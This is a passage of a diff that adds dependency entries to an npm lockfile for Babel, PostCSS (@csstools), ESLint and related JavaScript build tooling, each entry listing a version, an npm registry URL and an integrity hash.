+      "integrity": "sha512-TV4sQ+T013n61uMoygyMRm+xf04Bd5oqFpv2jAEQwSZ8NwQA7zeRPg1LMVg2PWi3zWBz+CLKD+v5bcpZ/BS0aA==",
+      "requires": {
+        "@babel/helper-plugin-utils": "^7.18.6"
+      }
+    },
+    "@babel/plugin-transform-react-jsx": {
+      "version": "7.19.0",
+      "resolved": "https://registry.npmjs.org/@babel/plugin-transform-react-jsx/-/plugin-transform-react-jsx-7.19.0.tgz",
+      "integrity": "sha512-UVEvX3tXie3Szm3emi1+G63jyw1w5IcMY0FSKM+CRnKRI5Mr1YbCNgsSTwoTwKphQEG9P+QqmuRFneJPZuHNhg==",
+      "requires": {
+        "@babel/helper-annotate-as-pure": "^7.18.6",
+        "@babel/helper-module-imports": "^7.18.6",
+        "@babel/helper-plugin-utils": "^7.19.0",
+        "@babel/plugin-syntax-jsx": "^7.18.6",
+        "@babel/types": "^7.19.0"
+      }
+    },
+    "@babel/plugin-transform-react-jsx-development": {
+      "version": "7.18.6",
+      "resolved": "https://registry.npmjs.org/@babel/plugin-transform-react-jsx-development/-/plugin-transform-react-jsx-development-7.18.6.tgz",
+      "integrity": "sha512-SA6HEjwYFKF7WDjWcMcMGUimmw/nhNRDWxr+KaLSCrkD/LMDBvWRmHAYgE1HDeF8KUuI8OAu+RT6EOtKxSW2qA==",
+      "requires": {
+        "@babel/plugin-transform-react-jsx": "^7.18.6"
+      }
+    },
+    "@babel/plugin-transform-react-pure-annotations": {
+      "version": "7.18.6",
+      "resolved": "https://registry.npmjs.org/@babel/plugin-transform-react-pure-annotations/-/plugin-transform-react-pure-annotations-7.18.6.tgz",
+      "integrity": "sha512-I8VfEPg9r2TRDdvnHgPepTKvuRomzA8+u+nhY7qSI1fR2hRNebasZEETLyM5mAUr0Ku56OkXJ0I7NHJnO6cJiQ==",
+      "requires": {
+        "@babel/helper-annotate-as-pure": "^7.18.6",
+        "@babel/helper-plugin-utils": "^7.18.6"
+      }
+    },
+    "@babel/plugin-transform-regenerator": {
+      "version": "7.18.6",
+      "resolved": "https://registry.npmjs.org/@babel/plugin-transform-regenerator/-/plugin-transform-regenerator-7.18.6.tgz",
+      "integrity": "sha512-poqRI2+qiSdeldcz4wTSTXBRryoq3Gc70ye7m7UD5Ww0nE29IXqMl6r7Nd15WBgRd74vloEMlShtH6CKxVzfmQ==",
+      "requires": {
+        "@babel/helper-plugin-utils": "^7.18.6",
+        "regenerator-transform": "^0.15.0"
+      }
+    },
+    "@babel/plugin-transform-reserved-words": {
+      "version": "7.18.6",
+      "resolved": "https://registry.npmjs.org/@babel/plugin-transform-reserved-words/-/plugin-transform-reserved-words-7.18.6.tgz",
+      "integrity": "sha512-oX/4MyMoypzHjFrT1CdivfKZ+XvIPMFXwwxHp/r0Ddy2Vuomt4HDFGmft1TAY2yiTKiNSsh3kjBAzcM8kSdsjA==",
+      "requires": {
+        "@babel/helper-plugin-utils": "^7.18.6"
+      }
+    },
+    "@babel/plugin-transform-runtime": {
+      "version": "7.19.1",
+      "resolved": "https://registry.npmjs.org/@babel/plugin-transform-runtime/-/plugin-transform-runtime-7.19.1.tgz",
+      "integrity": "sha512-2nJjTUFIzBMP/f/miLxEK9vxwW/KUXsdvN4sR//TmuDhe6yU2h57WmIOE12Gng3MDP/xpjUV/ToZRdcf8Yj4fA==",
+      "requires": {
+        "@babel/helper-module-imports": "^7.18.6",
+        "@babel/helper-plugin-utils": "^7.19.0",
+        "babel-plugin-polyfill-corejs2": "^0.3.3",
+        "babel-plugin-polyfill-corejs3": "^0.6.0",
+        "babel-plugin-polyfill-regenerator": "^0.4.1",
+        "semver": "^6.3.0"
+      },
+      "dependencies": {
+        "semver": {
+          "version": "6.3.1",
+          "resolved": "https://registry.npmjs.org/semver/-/semver-6.3.1.tgz",
+          "integrity": "sha512-BR7VvDCVHO+q2xBEWskxS6DJE1qRnb7DxzUrogb71CWoSficBxYsiAGd+Kl0mmq/MprG9yArRkyrQxTO6XjMzA=="
+        }
+      }
+    },
+    "@babel/plugin-transform-shorthand-properties": {
+      "version": "7.18.6",
+      "resolved": "https://registry.npmjs.org/@babel/plugin-transform-shorthand-properties/-/plugin-transform-shorthand-properties-7.18.6.tgz",
+      "integrity": "sha512-eCLXXJqv8okzg86ywZJbRn19YJHU4XUa55oz2wbHhaQVn/MM+XhukiT7SYqp/7o00dg52Rj51Ny+Ecw4oyoygw==",
+      "requires": {
+        "@babel/helper-plugin-utils": "^7.18.6"
+      }
+    },
+    "@babel/plugin-transform-spread": {
+      "version": "7.19.0",
+      "resolved": "https://registry.npmjs.org/@babel/plugin-transform-spread/-/plugin-transform-spread-7.19.0.tgz",
+      "integrity": "sha512-RsuMk7j6n+r752EtzyScnWkQyuJdli6LdO5Klv8Yx0OfPVTcQkIUfS8clx5e9yHXzlnhOZF3CbQ8C2uP5j074w==",
+      "requires": {
+        "@babel/helper-plugin-utils": "^7.19.0",
+        "@babel/helper-skip-transparent-expression-wrappers": "^7.18.9"
+      }
+    },
+    "@babel/plugin-transform-sticky-regex": {
+      "version": "7.18.6",
+      "resolved": "https://registry.npmjs.org/@babel/plugin-transform-sticky-regex/-/plugin-transform-sticky-regex-7.18.6.tgz",
+      "integrity": "sha512-kfiDrDQ+PBsQDO85yj1icueWMfGfJFKN1KCkndygtu/C9+XUfydLC8Iv5UYJqRwy4zk8EcplRxEOeLyjq1gm6Q==",
+      "requires": {
+        "@babel/helper-plugin-utils": "^7.18.6"
+      }
+    },
+    "@babel/plugin-transform-template-literals": {
+      "version": "7.18.9",
+      "resolved": "https://registry.npmjs.org/@babel/plugin-transform-template-literals/-/plugin-transform-template-literals-7.18.9.tgz",
+      "integrity": "sha512-S8cOWfT82gTezpYOiVaGHrCbhlHgKhQt8XH5ES46P2XWmX92yisoZywf5km75wv5sYcXDUCLMmMxOLCtthDgMA==",
+      "requires": {
+        "@babel/helper-plugin-utils": "^7.18.9"
+      }
+    },
+    "@babel/plugin-transform-typeof-symbol": {
+      "version": "7.18.9",
+      "resolved": "https://registry.npmjs.org/@babel/plugin-transform-typeof-symbol/-/plugin-transform-typeof-symbol-7.18.9.tgz",
+      "integrity": "sha512-SRfwTtF11G2aemAZWivL7PD+C9z52v9EvMqH9BuYbabyPuKUvSWks3oCg6041pT925L4zVFqaVBeECwsmlguEw==",
+      "requires": {
+        "@babel/helper-plugin-utils": "^7.18.9"
+      }
+    },
+    "@babel/plugin-transform-typescript": {
+      "version": "7.19.3",
+      "resolved": "https://registry.npmjs.org/@babel/plugin-transform-typescript/-/plugin-transform-typescript-7.19.3.tgz",
+      "integrity": "sha512-z6fnuK9ve9u/0X0rRvI9MY0xg+DOUaABDYOe+/SQTxtlptaBB/V9JIUxJn6xp3lMBeb9qe8xSFmHU35oZDXD+w==",
+      "requires": {
+        "@babel/helper-create-class-features-plugin": "^7.19.0",
+        "@babel/helper-plugin-utils": "^7.19.0",
+        "@babel/plugin-syntax-typescript": "^7.18.6"
+      }
+    },
+    "@babel/plugin-transform-unicode-escapes": {
+      "version": "7.18.10",
+      "resolved": "https://registry.npmjs.org/@babel/plugin-transform-unicode-escapes/-/plugin-transform-unicode-escapes-7.18.10.tgz",
+      "integrity": "sha512-kKAdAI+YzPgGY/ftStBFXTI1LZFju38rYThnfMykS+IXy8BVx+res7s2fxf1l8I35DV2T97ezo6+SGrXz6B3iQ==",
+      "requires": {
+        "@babel/helper-plugin-utils": "^7.18.9"
+      }
+    },
+    "@babel/plugin-transform-unicode-regex": {
+      "version": "7.18.6",
+      "resolved": "https://registry.npmjs.org/@babel/plugin-transform-unicode-regex/-/plugin-transform-unicode-regex-7.18.6.tgz",
+      "integrity": "sha512-gE7A6Lt7YLnNOL3Pb9BNeZvi+d8l7tcRrG4+pwJjK9hD2xX4mEvjlQW60G9EEmfXVYRPv9VRQcyegIVHCql/AA==",
+      "requires": {
+        "@babel/helper-create-regexp-features-plugin": "^7.18.6",
+        "@babel/helper-plugin-utils": "^7.18.6"
+      }
+    },
+    "@babel/preset-env": {
+      "version": "7.19.3",
+      "resolved": "https://registry.npmjs.org/@babel/preset-env/-/preset-env-7.19.3.tgz",
+      "integrity": "sha512-ziye1OTc9dGFOAXSWKUqQblYHNlBOaDl8wzqf2iKXJAltYiR3hKHUKmkt+S9PppW7RQpq4fFCrwwpIDj/f5P4w==",
+      "requires": {
+        "@babel/compat-data": "^7.19.3",
+        "@babel/helper-compilation-targets": "^7.19.3",
+        "@babel/helper-plugin-utils": "^7.19.0",
+        "@babel/helper-validator-option": "^7.18.6",
+        "@babel/plugin-bugfix-safari-id-destructuring-collision-in-function-expression": "^7.18.6",
+        "@babel/plugin-bugfix-v8-spread-parameters-in-optional-chaining": "^7.18.9",
+        "@babel/plugin-proposal-async-generator-functions": "^7.19.1",
+        "@babel/plugin-proposal-class-properties": "^7.18.6",
+        "@babel/plugin-proposal-class-static-block": "^7.18.6",
+        "@babel/plugin-proposal-dynamic-import": "^7.18.6",
+        "@babel/plugin-proposal-export-namespace-from": "^7.18.9",
+        "@babel/plugin-proposal-json-strings": "^7.18.6",
+        "@babel/plugin-proposal-logical-assignment-operators": "^7.18.9",
+        "@babel/plugin-proposal-nullish-coalescing-operator": "^7.18.6",
+        "@babel/plugin-proposal-numeric-separator": "^7.18.6",
+        "@babel/plugin-proposal-object-rest-spread": "^7.18.9",
+        "@babel/plugin-proposal-optional-catch-binding": "^7.18.6",
+        "@babel/plugin-proposal-optional-chaining": "^7.18.9",
+        "@babel/plugin-proposal-private-methods": "^7.18.6",
+        "@babel/plugin-proposal-private-property-in-object": "^7.18.6",
+        "@babel/plugin-proposal-unicode-property-regex": "^7.18.6",
+        "@babel/plugin-syntax-async-generators": "^7.8.4",
+        "@babel/plugin-syntax-class-properties": "^7.12.13",
+        "@babel/plugin-syntax-class-static-block": "^7.14.5",
+        "@babel/plugin-syntax-dynamic-import": "^7.8.3",
+        "@babel/plugin-syntax-export-namespace-from": "^7.8.3",
+        "@babel/plugin-syntax-import-assertions": "^7.18.6",
+        "@babel/plugin-syntax-json-strings": "^7.8.3",
+        "@babel/plugin-syntax-logical-assignment-operators": "^7.10.4",
+        "@babel/plugin-syntax-nullish-coalescing-operator": "^7.8.3",
+        "@babel/plugin-syntax-numeric-separator": "^7.10.4",
+        "@babel/plugin-syntax-object-rest-spread": "^7.8.3",
+        "@babel/plugin-syntax-optional-catch-binding": "^7.8.3",
+        "@babel/plugin-syntax-optional-chaining": "^7.8.3",
+        "@babel/plugin-syntax-private-property-in-object": "^7.14.5",
+        "@babel/plugin-syntax-top-level-await": "^7.14.5",
+        "@babel/plugin-transform-arrow-functions": "^7.18.6",
+        "@babel/plugin-transform-async-to-generator": "^7.18.6",
+        "@babel/plugin-transform-block-scoped-functions": "^7.18.6",
+        "@babel/plugin-transform-block-scoping": "^7.18.9",
+        "@babel/plugin-transform-classes": "^7.19.0",
+        "@babel/plugin-transform-computed-properties": "^7.18.9",
+        "@babel/plugin-transform-destructuring": "^7.18.13",
+        "@babel/plugin-transform-dotall-regex": "^7.18.6",
+        "@babel/plugin-transform-duplicate-keys": "^7.18.9",
+        "@babel/plugin-transform-exponentiation-operator": "^7.18.6",
+        "@babel/plugin-transform-for-of": "^7.18.8",
+        "@babel/plugin-transform-function-name": "^7.18.9",
+        "@babel/plugin-transform-literals": "^7.18.9",
+        "@babel/plugin-transform-member-expression-literals": "^7.18.6",
+        "@babel/plugin-transform-modules-amd": "^7.18.6",
+        "@babel/plugin-transform-modules-commonjs": "^7.18.6",
+        "@babel/plugin-transform-modules-systemjs": "^7.19.0",
+        "@babel/plugin-transform-modules-umd": "^7.18.6",
+        "@babel/plugin-transform-named-capturing-groups-regex": "^7.19.1",
+        "@babel/plugin-transform-new-target": "^7.18.6",
+        "@babel/plugin-transform-object-super": "^7.18.6",
+        "@babel/plugin-transform-parameters": "^7.18.8",
+        "@babel/plugin-transform-property-literals": "^7.18.6",
+        "@babel/plugin-transform-regenerator": "^7.18.6",
+        "@babel/plugin-transform-reserved-words": "^7.18.6",
+        "@babel/plugin-transform-shorthand-properties": "^7.18.6",
+        "@babel/plugin-transform-spread": "^7.19.0",
+        "@babel/plugin-transform-sticky-regex": "^7.18.6",
+        "@babel/plugin-transform-template-literals": "^7.18.9",
+        "@babel/plugin-transform-typeof-symbol": "^7.18.9",
+        "@babel/plugin-transform-unicode-escapes": "^7.18.10",
+        "@babel/plugin-transform-unicode-regex": "^7.18.6",
+        "@babel/preset-modules": "^0.1.5",
+        "@babel/types": "^7.19.3",
+        "babel-plugin-polyfill-corejs2": "^0.3.3",
+        "babel-plugin-polyfill-corejs3": "^0.6.0",
+        "babel-plugin-polyfill-regenerator": "^0.4.1",
+        "core-js-compat": "^3.25.1",
+        "semver": "^6.3.0"
+      },
+      "dependencies": {
+        "semver": {
+          "version": "6.3.1",
+          "resolved": "https://registry.npmjs.org/semver/-/semver-6.3.1.tgz",
+          "integrity": "sha512-BR7VvDCVHO+q2xBEWskxS6DJE1qRnb7DxzUrogb71CWoSficBxYsiAGd+Kl0mmq/MprG9yArRkyrQxTO6XjMzA=="
+        }
+      }
+    },
+    "@babel/preset-modules": {
+      "version": "0.1.5",
+      "resolved": "https://registry.npmjs.org/@babel/preset-modules/-/preset-modules-0.1.5.tgz",
+      "integrity": "sha512-A57th6YRG7oR3cq/yt/Y84MvGgE0eJG2F1JLhKuyG+jFxEgrd/HAMJatiFtmOiZurz+0DkrvbheCLaV5f2JfjA==",
+      "requires": {
+        "@babel/helper-plugin-utils": "^7.0.0",
+        "@babel/plugin-proposal-unicode-property-regex": "^7.4.4",
+        "@babel/plugin-transform-dotall-regex": "^7.4.4",
+        "@babel/types": "^7.4.4",
+        "esutils": "^2.0.2"
+      }
+    },
+    "@babel/preset-react": {
+      "version": "7.18.6",
+      "resolved": "https://registry.npmjs.org/@babel/preset-react/-/preset-react-7.18.6.tgz",
+      "integrity": "sha512-zXr6atUmyYdiWRVLOZahakYmOBHtWc2WGCkP8PYTgZi0iJXDY2CN180TdrIW4OGOAdLc7TifzDIvtx6izaRIzg==",
+      "requires": {
+        "@babel/helper-plugin-utils": "^7.18.6",
+        "@babel/helper-validator-option": "^7.18.6",
+        "@babel/plugin-transform-react-display-name": "^7.18.6",
+        "@babel/plugin-transform-react-jsx": "^7.18.6",
+        "@babel/plugin-transform-react-jsx-development": "^7.18.6",
+        "@babel/plugin-transform-react-pure-annotations": "^7.18.6"
+      }
+    },
+    "@babel/preset-typescript": {
+      "version": "7.18.6",
+      "resolved": "https://registry.npmjs.org/@babel/preset-typescript/-/preset-typescript-7.18.6.tgz",
+      "integrity": "sha512-s9ik86kXBAnD760aybBucdpnLsAt0jK1xqJn2juOn9lkOvSHV60os5hxoVJsPzMQxvnUJFAlkont2DvvaYEBtQ==",
+      "requires": {
+        "@babel/helper-plugin-utils": "^7.18.6",
+        "@babel/helper-validator-option": "^7.18.6",
+        "@babel/plugin-transform-typescript": "^7.18.6"
+      }
+    },
+    "@babel/runtime": {
+      "version": "7.19.0",
+      "resolved": "https://registry.npmjs.org/@babel/runtime/-/runtime-7.19.0.tgz",
+      "integrity": "sha512-eR8Lo9hnDS7tqkO7NsV+mKvCmv5boaXFSZ70DnfhcgiEne8hv9oCEd36Klw74EtizEqLsy4YnW8UWwpBVolHZA==",
+      "requires": {
+        "regenerator-runtime": "^0.13.4"
+      }
+    },
+    "@babel/runtime-corejs3": {
+      "version": "7.19.1",
+      "resolved": "https://registry.npmjs.org/@babel/runtime-corejs3/-/runtime-corejs3-7.19.1.tgz",
+      "integrity": "sha512-j2vJGnkopRzH+ykJ8h68wrHnEUmtK//E723jjixiAl/PPf6FhqY/vYRcMVlNydRKQjQsTsYEjpx+DZMIvnGk/g==",
+      "requires": {
+        "core-js-pure": "^3.25.1",
+        "regenerator-runtime": "^0.13.4"
+      }
+    },
+    "@babel/template": {
+      "version": "7.27.0",
+      "resolved": "https://registry.npmjs.org/@babel/template/-/template-7.27.0.tgz",
+      "integrity": "sha512-2ncevenBqXI6qRMukPlXwHKHchC7RyMuu4xv5JBXRfOGVcTy1mXCD12qrp7Jsoxll1EV3+9sE4GugBVRjT2jFA==",
+      "requires": {
+        "@babel/code-frame": "^7.26.2",
+        "@babel/parser": "^7.27.0",
+        "@babel/types": "^7.27.0"
+      }
+    },
+    "@babel/traverse": {
+      "version": "7.23.2",
+      "resolved": "https://registry.npmjs.org/@babel/traverse/-/traverse-7.23.2.tgz",
+      "integrity": "sha512-azpe59SQ48qG6nu2CzcMLbxUudtN+dOM9kDbUqGq3HXUJRlo7i8fvPoxQUzYgLZ4cMVmuZgm8vvBpNeRhd6XSw==",
+      "requires": {
+        "@babel/code-frame": "^7.22.13",
+        "@babel/generator": "^7.23.0",
+        "@babel/helper-environment-visitor": "^7.22.20",
+        "@babel/helper-function-name": "^7.23.0",
+        "@babel/helper-hoist-variables": "^7.22.5",
+        "@babel/helper-split-export-declaration": "^7.22.6",
+        "@babel/parser": "^7.23.0",
+        "@babel/types": "^7.23.0",
+        "debug": "^4.1.0",
+        "globals": "^11.1.0"
+      }
+    },
+    "@babel/types": {
+      "version": "7.27.0",
+      "resolved": "https://registry.npmjs.org/@babel/types/-/types-7.27.0.tgz",
+      "integrity": "sha512-H45s8fVLYjbhFH62dIJ3WtmJ6RSPt/3DRO0ZcT2SUiYiQyz3BLVb9ADEnLl91m74aQPS3AzzeajZHYOalWe3bg==",
+      "requires": {
+        "@babel/helper-string-parser": "^7.25.9",
+        "@babel/helper-validator-identifier": "^7.25.9"
+      }
+    },
+    "@bcoe/v8-coverage": {
+      "version": "0.2.3",
+      "resolved": "https://registry.npmjs.org/@bcoe/v8-coverage/-/v8-coverage-0.2.3.tgz",
+      "integrity": "sha512-0hYQ8SB4Db5zvZB4axdMHGwEaQjkZzFjQiN9LVYvIFB2nSUHW9tYpxWriPrWDASIxiaXax83REcLxuSdnGPZtw=="
+    },
+    "@csstools/normalize.css": {
+      "version": "12.0.0",
+      "resolved": "https://registry.npmjs.org/@csstools/normalize.css/-/normalize.css-12.0.0.tgz",
+      "integrity": "sha512-M0qqxAcwCsIVfpFQSlGN5XjXWu8l5JDZN+fPt1LeW5SZexQTgnaEvgXAY+CeygRw0EeppWHi12JxESWiWrB0Sg=="
+    },
+    "@csstools/postcss-cascade-layers": {
+      "version": "1.1.1",
+      "resolved": "https://registry.npmjs.org/@csstools/postcss-cascade-layers/-/postcss-cascade-layers-1.1.1.tgz",
+      "integrity": "sha512-+KdYrpKC5TgomQr2DlZF4lDEpHcoxnj5IGddYYfBWJAKfj1JtuHUIqMa+E1pJJ+z3kvDViWMqyqPlG4Ja7amQA==",
+      "requires": {
+        "@csstools/selector-specificity": "^2.0.2",
+        "postcss-selector-parser": "^6.0.10"
+      }
+    },
+    "@csstools/postcss-color-function": {
+      "version": "1.1.1",
+      "resolved": "https://registry.npmjs.org/@csstools/postcss-color-function/-/postcss-color-function-1.1.1.tgz",
+      "integrity": "sha512-Bc0f62WmHdtRDjf5f3e2STwRAl89N2CLb+9iAwzrv4L2hncrbDwnQD9PCq0gtAt7pOI2leIV08HIBUd4jxD8cw==",
+      "requires": {
+        "@csstools/postcss-progressive-custom-properties": "^1.1.0",
+        "postcss-value-parser": "^4.2.0"
+      }
+    },
+    "@csstools/postcss-font-format-keywords": {
+      "version": "1.0.1",
+      "resolved": "https://registry.npmjs.org/@csstools/postcss-font-format-keywords/-/postcss-font-format-keywords-1.0.1.tgz",
+      "integrity": "sha512-ZgrlzuUAjXIOc2JueK0X5sZDjCtgimVp/O5CEqTcs5ShWBa6smhWYbS0x5cVc/+rycTDbjjzoP0KTDnUneZGOg==",
+      "requires": {
+        "postcss-value-parser": "^4.2.0"
+      }
+    },
+    "@csstools/postcss-hwb-function": {
+      "version": "1.0.2",
+      "resolved": "https://registry.npmjs.org/@csstools/postcss-hwb-function/-/postcss-hwb-function-1.0.2.tgz",
+      "integrity": "sha512-YHdEru4o3Rsbjmu6vHy4UKOXZD+Rn2zmkAmLRfPet6+Jz4Ojw8cbWxe1n42VaXQhD3CQUXXTooIy8OkVbUcL+w==",
+      "requires": {
+        "postcss-value-parser": "^4.2.0"
+      }
+    },
+    "@csstools/postcss-ic-unit": {
+      "version": "1.0.1",
+      "resolved": "https://registry.npmjs.org/@csstools/postcss-ic-unit/-/postcss-ic-unit-1.0.1.tgz",
+      "integrity": "sha512-Ot1rcwRAaRHNKC9tAqoqNZhjdYBzKk1POgWfhN4uCOE47ebGcLRqXjKkApVDpjifL6u2/55ekkpnFcp+s/OZUw==",
+      "requires": {
+        "@csstools/postcss-progressive-custom-properties": "^1.1.0",
+        "postcss-value-parser": "^4.2.0"
+      }
+    },
+    "@csstools/postcss-is-pseudo-class": {
+      "version": "2.0.7",
+      "resolved": "https://registry.npmjs.org/@csstools/postcss-is-pseudo-class/-/postcss-is-pseudo-class-2.0.7.tgz",
+      "integrity": "sha512-7JPeVVZHd+jxYdULl87lvjgvWldYu+Bc62s9vD/ED6/QTGjy0jy0US/f6BG53sVMTBJ1lzKZFpYmofBN9eaRiA==",
+      "requires": {
+        "@csstools/selector-specificity": "^2.0.0",
+        "postcss-selector-parser": "^6.0.10"
+      }
+    },
+    "@csstools/postcss-nested-calc": {
+      "version": "1.0.0",
+      "resolved": "https://registry.npmjs.org/@csstools/postcss-nested-calc/-/postcss-nested-calc-1.0.0.tgz",
+      "integrity": "sha512-JCsQsw1wjYwv1bJmgjKSoZNvf7R6+wuHDAbi5f/7MbFhl2d/+v+TvBTU4BJH3G1X1H87dHl0mh6TfYogbT/dJQ==",
+      "requires": {
+        "postcss-value-parser": "^4.2.0"
+      }
+    },
+    "@csstools/postcss-normalize-display-values": {
+      "version": "1.0.1",
+      "resolved": "https://registry.npmjs.org/@csstools/postcss-normalize-display-values/-/postcss-normalize-display-values-1.0.1.tgz",
+      "integrity": "sha512-jcOanIbv55OFKQ3sYeFD/T0Ti7AMXc9nM1hZWu8m/2722gOTxFg7xYu4RDLJLeZmPUVQlGzo4jhzvTUq3x4ZUw==",
+      "requires": {
+        "postcss-value-parser": "^4.2.0"
+      }
+    },
+    "@csstools/postcss-oklab-function": {
+      "version": "1.1.1",
+      "resolved": "https://registry.npmjs.org/@csstools/postcss-oklab-function/-/postcss-oklab-function-1.1.1.tgz",
+      "integrity": "sha512-nJpJgsdA3dA9y5pgyb/UfEzE7W5Ka7u0CX0/HIMVBNWzWemdcTH3XwANECU6anWv/ao4vVNLTMxhiPNZsTK6iA==",
+      "requires": {
+        "@csstools/postcss-progressive-custom-properties": "^1.1.0",
+        "postcss-value-parser": "^4.2.0"
+      }
+    },
+    "@csstools/postcss-progressive-custom-properties": {
+      "version": "1.3.0",
+      "resolved": "https://registry.npmjs.org/@csstools/postcss-progressive-custom-properties/-/postcss-progressive-custom-properties-1.3.0.tgz",
+      "integrity": "sha512-ASA9W1aIy5ygskZYuWams4BzafD12ULvSypmaLJT2jvQ8G0M3I8PRQhC0h7mG0Z3LI05+agZjqSR9+K9yaQQjA==",
+      "requires": {
+        "postcss-value-parser": "^4.2.0"
+      }
+    },
+    "@csstools/postcss-stepped-value-functions": {
+      "version": "1.0.1",
+      "resolved": "https://registry.npmjs.org/@csstools/postcss-stepped-value-functions/-/postcss-stepped-value-functions-1.0.1.tgz",
+      "integrity": "sha512-dz0LNoo3ijpTOQqEJLY8nyaapl6umbmDcgj4AD0lgVQ572b2eqA1iGZYTTWhrcrHztWDDRAX2DGYyw2VBjvCvQ==",
+      "requires": {
+        "postcss-value-parser": "^4.2.0"
+      }
+    },
+    "@csstools/postcss-text-decoration-shorthand": {
+      "version": "1.0.0",
+      "resolved": "https://registry.npmjs.org/@csstools/postcss-text-decoration-shorthand/-/postcss-text-decoration-shorthand-1.0.0.tgz",
+      "integrity": "sha512-c1XwKJ2eMIWrzQenN0XbcfzckOLLJiczqy+YvfGmzoVXd7pT9FfObiSEfzs84bpE/VqfpEuAZ9tCRbZkZxxbdw==",
+      "requires": {
+        "postcss-value-parser": "^4.2.0"
+      }
+    },
+    "@csstools/postcss-trigonometric-functions": {
+      "version": "1.0.2",
+      "resolved": "https://registry.npmjs.org/@csstools/postcss-trigonometric-functions/-/postcss-trigonometric-functions-1.0.2.tgz",
+      "integrity": "sha512-woKaLO///4bb+zZC2s80l+7cm07M7268MsyG3M0ActXXEFi6SuhvriQYcb58iiKGbjwwIU7n45iRLEHypB47Og==",
+      "requires": {
+        "postcss-value-parser": "^4.2.0"
+      }
+    },
+    "@csstools/postcss-unset-value": {
+      "version": "1.0.2",
+      "resolved": "https://registry.npmjs.org/@csstools/postcss-unset-value/-/postcss-unset-value-1.0.2.tgz",
+      "integrity": "sha512-c8J4roPBILnelAsdLr4XOAR/GsTm0GJi4XpcfvoWk3U6KiTCqiFYc63KhRMQQX35jYMp4Ao8Ij9+IZRgMfJp1g==",
+      "requires": {}
+    },
+    "@csstools/selector-specificity": {
+      "version": "2.0.2",
+      "resolved": "https://registry.npmjs.org/@csstools/selector-specificity/-/selector-specificity-2.0.2.tgz",
+      "integrity": "sha512-IkpVW/ehM1hWKln4fCA3NzJU8KwD+kIOvPZA4cqxoJHtE21CCzjyp+Kxbu0i5I4tBNOlXPL9mjwnWlL0VEG4Fg==",
+      "requires": {}
+    },
+    "@eslint/eslintrc": {
+      "version": "1.3.2",
+      "resolved": "https://registry.npmjs.org/@eslint/eslintrc/-/eslintrc-1.3.2.tgz",
+      "integrity": "sha512-AXYd23w1S/bv3fTs3Lz0vjiYemS08jWkI3hYyS9I1ry+0f+Yjs1wm+sU0BS8qDOPrBIkp4qHYC16I8uVtpLajQ==",
+      "requires": {
+        "ajv": "^6.12.4",
+        "debug": "^4.3.2",
+        "espree": "^9.4.0",
+        "globals": "^13.15.0",
+        "ignore": "^5.2.0",
+        "import-fresh": "^3.2.1",
+        "js-yaml": "^4.1.0",
+        "minimatch": "^3.1.2",
+        "strip-json-comments": "^3.1.1"
+      },
+      "dependencies": {
+        "argparse": {
+          "version": "2.0.1",
+          "resolved": "https://registry.npmjs.org/argparse/-/argparse-2.0.1.tgz",
+          "integrity": "sha512-8+9WqebbFzpX9OR+Wa6O29asIogeRMzcGtAINdpMHHyAg10f05aSFVBbcEqGf/PXw1EjAZ+q2/bEBg3DvurK3Q=="
+        },
+        "globals": {
+          "version": "13.17.0",
+          "resolved": "https://registry.npmjs.org/globals/-/globals-13.17.0.tgz",
+          "integrity": "sha512-1C+6nQRb1GwGMKm2dH/E7enFAMxGTmGI7/dEdhy/DNelv85w9B72t3uc5frtMNXIbzrarJJ/lTCjcaZwbLJmyw==",
+          "requires": {
+            "type-fest": "^0.20.2"
+          }
+        },
+        "js-yaml": {
+          "version": "4.1.1",
+          "resolved": "https://registry.npmjs.org/js-yaml/-/js-yaml-4.1.1.tgz",
+          "integrity": "sha512-qQKT4zQxXl8lLwBtHMWwaTcGfFOZviOJet3Oy/xmGk2gZH677CJM9EvtfdSkgWcATZhj/55JZ0rmy3myCT5lsA==",
+          "requires": {
+            "argparse": "^2.0.1"
+          }
+        },
+        "type-fest": {
+          "version": "0.20.2",
+          "resolved": "https://registry.npmjs.org/type-fest/-/type-fest-0.20.2.tgz",
+          "integrity": "sha512-Ne+eE4r0/iWnpAxD852z3A+N0Bt5RN//NjJwRd2VFHEmrywxf5vsZlh4R6lixl6B+wz/8d+maTSAkN1FIkI3LQ=="
+        }
+      }
+    },
+    "@humanwhocodes/config-array": {
+      "version": "0.10.7",
+      "resolved": "https://registry.npmjs.org/@humanwhocodes/config-array/-/config-array-0.10.7.tgz",
+      "integrity": "sha512-MDl6D6sBsaV452/QSdX+4CXIjZhIcI0PELsxUjk4U828yd58vk3bTIvk/6w5FY+4hIy9sLW0sfrV7K7Kc++j/w==",
+      "requires": {
+        "@humanwhocodes/object-schema": "^1.2.1",
+        "debug": "^4.1.1",
+        "minimatch": "^3.0.4"
+      }
+    },
+    "@humanwhocodes/gitignore-to-minimatch": {
+      "version": "1.0.2",
+      "resolved": "https://registry.npmjs.org/@humanwhocodes/gitignore-to-minimatch/-/gitignore-to-minimatch-1.0.2.tgz",
+      "integrity": "sha512-rSqmMJDdLFUsyxR6FMtD00nfQKKLFb1kv+qBbOVKqErvloEIJLo5bDTJTQNTYgeyp78JsA7u/NPi5jT1GR/MuA=="
+    },
+    "@humanwhocodes/module-importer": {
+      "version": "1.0.1",
+      "resolved": "https://registry.npmjs.org/@humanwhocodes/module-importer/-/module-importer-1.0.1.tgz",
+      "integrity": "sha512-bxveV4V8v5Yb4ncFTT3rPSgZBOpCkjfK0y4oVVVJwIuDVBRMDXrPyXRL988i5ap9m9bnyEEjWfm5WkBmtffLfA=="
+    },
+    "@humanwhocodes/object-schema": {
+      "version": "1.2.1",
+      "resolved": "https://registry.npmjs.org/@humanwhocodes/object-schema/-/object-schema-1.2.1.tgz",
+      "integrity": "sha512-ZnQMnLV4e7hDlUvw8H+U8ASL02SS2Gn6+9Ac3wGGLIe7+je2AeAOxPY+izIPJDfFDb7eDjev0Us8MO1iFRN8hA=="
+    },
+    "@istanbuljs/load-nyc-config": {
+      "version": "1.1.0",
+      "resolved": "https://registry.npmjs.org/@istanbuljs/load-nyc-config/-/load-nyc-config-1.1.0.tgz",
+      "integrity": "sha512-VjeHSlIzpv/NyD3N0YuHfXOPDIixcA1q2ZV98wsMqcYlPmv2n3Yb2lYP9XMElnaFVXg5A7YLTeLu6V84uQDjmQ==",
+      "requires": {
+        "camelcase": "^5.3.1",
+        "find-up": "^4.1.0",
+        "get-package-type": "^0.1.0",
+        "js-yaml": "^3.13.1",
+        "resolve-from": "^5.0.0"
+      },
+      "dependencies": {
+        "camelcase": {
+          "version": "5.3.1",
